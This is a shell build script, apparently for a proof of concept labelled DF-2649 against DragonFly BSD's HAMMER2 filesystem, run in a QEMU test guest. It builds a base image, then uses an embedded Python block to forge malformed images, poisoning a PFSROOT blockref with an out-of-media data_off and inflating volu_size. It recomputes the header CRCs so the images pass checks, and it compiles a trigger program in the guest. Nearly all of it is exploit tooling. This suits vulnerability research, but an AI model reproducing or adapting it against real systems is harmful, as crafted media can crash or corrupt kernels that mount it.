DF-2649 / build.sh
#!/bin/sh # DF-2649 build: base image in guest, forge on host (two variants). set -e CD=$(dirname "$0") ssh -F dfbsd-qemu/config dfbsd 'vnconfig -u vn0 2>/dev/null || true; mkdir -p /root/poc/w2649 /mnt/h2x' ssh -F dfbsd-qemu/config dfbsd 'cd /root/poc/w2649 && truncate -s 64M base.img && newfs_hammer2 -L testvol base.img >/dev/null && vnconfig -c vn0 /root/poc/w2649/base.img && mount -t hammer2 /dev/vn0@testvol /mnt/h2x && printf h2649payload > /mnt/h2x/f1 && sync && umount /mnt/h2x && vnconfig -u vn0 && echo BASE_OK' scp -F dfbsd-qemu/config dfbsd:/root/poc/w2649/base.img "$CD/base2649.img" # variant 1: PFSROOT poison with out-of-media data_off (mounts, scan reaches chain_lock) # variant 2: volu_size inflation + in-forged-volume poison (rejected at mount) python3 "$CD/forge_2649.py" "$CD/base2649.img" "$CD/craft2649_volusize.img" eio python3 - "$CD" <<'EOF' # regenerate the v1 image (valid volu_size, poison data_off=0x10000000a) import sys, struct, os sys.path.insert(0, sys.argv[1]) from h2common import * cd = sys.argv[1] img = bytearray(open(os.path.join(cd, 'base2649.img'), 'rb').read()) vols, sbr = find_sroot(img) pbr = find_pfs_bref(img, sbr, b'testvol') iblk = pbr['data_off'] & ~RADIX_MASK slot = iblk + 0x200 + 2 * BREF struct.pack_into('<6B', img, slot, T_INODE, 0x00, 0, 64, 0, PFSROOT) struct.pack_into('<QQQQQ', img, slot + 8, 0xE000000000000002, 0, 0, (4 << 30) | 10, 0) struct.pack_into('<B', img, pbr['off'] + 0x01, 0x00) for v in vols: struct.pack_into('<B', img, v + 0x201, 0x00) recompute_volhdr_crcs(img) open(os.path.join(cd, 'craft2649_v1.img'), 'wb').write(img) print('v1 written') EOF scp -F dfbsd-qemu/config "$CD/craft2649_v1.img" "$CD/craft2649_volusize.img" dfbsd:/tmp/ scp -F dfbsd-qemu/config "$CD/trigger.c" dfbsd:/tmp/trigger.c ssh -F dfbsd-qemu/config dfbsd 'cc -O -o /tmp/trigger /tmp/trigger.c && echo CC_OK' |